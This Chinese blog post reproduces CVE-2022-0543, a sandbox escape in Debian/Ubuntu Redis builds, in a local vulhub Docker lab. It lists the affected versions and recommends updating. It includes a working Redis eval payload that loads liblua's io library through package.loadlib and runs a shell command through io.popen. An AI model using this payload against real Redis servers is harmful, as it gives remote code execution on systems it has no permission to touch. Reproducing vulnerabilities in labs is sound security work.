Redis Lua沙箱绕过RCE(CVE-2022-0543)复现

漏洞介绍

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。Debian以及Ubuntu发行版的源在打包Redis时,在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

影响版本

2.2 <= redis < 5.0.13
2.2 <= redis < 6.0.15
2.2 <= redis < 6.2.5

漏洞复现

环境搭建

更新vulhub

git pull

在这里插入图片描述

启动漏洞环境

docker-compose up -d

在这里插入图片描述

漏洞利用

安装redis-cli工具

apt-get update
apt-get install redis-server

在这里插入图片描述

使用redis-cli工具连接redis数据库

redis-cli -h 127.0.0.1 -p 6799

在这里插入图片描述

发送恶意代码,可以看到回显数据为执行命令id的内容

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

在这里插入图片描述

修复建议

更新至最新版本

【牛角尖扎人,都不如刀子嘴戳人来得厉害】

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值